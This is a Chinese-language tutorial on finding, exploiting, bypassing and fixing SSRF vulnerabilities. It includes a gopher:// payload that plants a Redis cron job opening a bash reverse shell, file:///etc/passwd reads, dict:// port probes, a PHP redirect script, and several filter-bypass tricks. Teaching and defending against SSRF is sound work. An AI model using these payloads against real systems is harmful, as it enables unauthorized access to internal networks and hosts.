zl程序教程

您现在的位置是:首页 >  其他

当前栏目

SSRF漏洞挖掘原理详解

漏洞原理 详解 挖掘 SSRF
2023-06-13 09:18:50 时间

SSRF 漏洞

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由 攻击者构造形成,由服务端发起请求 的一个安全漏洞。一般情况下,SSRF攻击的目标是从 外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。   我们知道网络有外网内网之分的。所谓的外网就是公开的、大家都可以访问的网络部分,比如旅游景点的介绍、论坛的板块等。还有一部分网络出于保护隐私信息的目的是限制访问的,比如企业的内部网络、校园网等,这就是内网。而有的内网不是完全孤立的,为了与外网建立联系,就通过内网中的一台服务器与外网相连接。而SSRF攻击要做的就是通过这台与外网连接的服务器向这台服务器本身或内网中的其它服务器发起请求。

在了解完SSRF漏洞后我们再来看看SSRF漏洞产生和攻击方法。

SSRF 漏洞成因

大都是由于 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

SSRF 漏洞发现以及挖掘

能够对外发起网络请求的地方,就可能存在 SSRF 漏洞

  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

挖掘功能点:

  1. 分享:通过URL地址分享网页内容
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:通过URL地址翻译对应文本的内容。例如有道词典、UC、QQ浏览器等
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能:从分享的URL中读取其原文的标题、内容等
  6. 未公开的Api实现以及其它调用URL的功能
  7. 网页采集/抓取的地方:对输入的url进行一些信息采集

SSRF 漏洞常见参数

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}

SSRF 漏洞攻击和验证

  1. 用抓包工具看请求由客户端发起还是服务端发起(漏洞),如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址 —从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址。 —通过二级域名暴力猜解工具模糊猜测内网地址。
  2. 获取一些服务的Banner、title、content等信息;
  3. dnslog等工具进行测试,看是否被访问 —可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
  4. 利用file协议 读取本地文件等;
  5. 排除法:浏览器f12查看源代码看是否是在本地进行了请求 比如:资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞。
  6. bool型SSRF

SSRF 相关函数

函数体

作用

file_get_contents()

将文件读入一个字符串中展示给用户

fsockopen()

获取用户指定url的数据(文件或者html)

curl_exec()

执行指定的 curl 会话

fopen()

函数打开文件或者 URL

readfile()

函数读取一个文件,并写入到输出缓冲

SSRF 相关伪协议

协议

功能

Dict协议

查看端口,版本信息;向服务器端口请求curl命令

Gopher协议

发送各种格式的请求包

File协议

在文件系统中读取文件

HTTP/HTTPS协议

内网的ip扫描、端口探测

SSRF 利用方式

本地利用

以curl举例:

Curl是一种命令行实用程序,用于从服务器传输数据或向服务器传输数据,该服务器设计为无需用户交互即可工作

查看 curl 支持的协议列表 curl -V

[root@boysec.cn ~]$ curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.53.1 zlib/1.2.7 libidn/1.28 libssh2/1.8.0
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp 
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-sockets 

使用file(任意文件读取)

[root@boysec.cn ~]$ curl -v 'file:///etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

使用dict探测端口

[root@boysec.cn ~]$ curl 'dict://127.0.0.1:22'
SSH-2.0-OpenSSH_9.9
Protocol mismatch.
[root@boysec.cn ~]$ curl 'dict://127.0.0.1:6379/info'

利用gopher反弹shell

[root@boysec.cn ~]$ curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 

* * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

远程利用

使用Pikachu漏洞练习平台从 URL 中获取 url 参数,然后访问 url 参数所指向的 URL 资源,最后把结果输出到页面上。

使用file(任意文件读取)

使用dict探测端口

端口开放时:

端口未开放时:

SSRF 绕过技巧

添加端口号

限制了子网段,可以加 :80 端口绕过:

例如:http://127.0.0.1:80

@绕过

URL的完整格式是

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

所以你访问

http://baidu.com@1.1.1.1

http://1.1.1.1

效果是一样滴,因为解析的本来就是@后面的服务器地址

短网址

URL中包含了内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过

在线站点: 985.so 短网址 新浪短网址

IP地址进行进制转化

黑名单上的IP地址为127.0.0.1,那么我们可以尝试将此IP地址转换为八进制、十进制、十六进制等进行URL引用,以实现127.0.0.1黑名单限制。也可将127.0.0.1省略为127.1

127.0.0.1 八进制格式: 0177.0.0.1 十六进制格式:0x7f.0.0.1 十进制整数格式: 2130706433 十六进制整数格式:0x7F000001

使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,那么可以利用特殊站点 (nip.io、sslip.io) 的子域名解析到对应的IP

例如:访问http://127.0.0.1.nip.io/1.html 实际访问的是http://127.0.0.1/1.html

或以www.localtest.me为例进行测试:

依旧可以被解析为本机回环地址。但此方法仅适用于对服务器本身发起请求伪造,若要应用于内网其它IP地址则成本过大。

利用DNS解析

目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip。

特殊符号替换绕过

例如: 127。0。0。1 >>> 127.0.0.1 localhost或者0.0.0.0

利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

SSRF的危害

  1. 扫内部网络/攻击内网
  2. 向内部任意主机的任意端口发送精心构造的Payload DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  3. 对内网web应用进行指纹识别,通过访问默认文件实现 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sql注入等)
  4. 攻击目标主机(dict://探测端口 file://读取文件等)
  5. 破坏内部服务

SSRF 漏洞修复

  1. 禁止30x跳转。
  2. 过滤返回信息,验证远程服务器对请求的响应。
  3. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  4. 限制请求的端口为http常用的端口,比如 80、443、8080、8090。
  5. 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
  6. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///, gopher://, ftp:// 等引起的问题。
  7. 对DNS Rebinding,考虑使用DNS缓存或者Host白名单。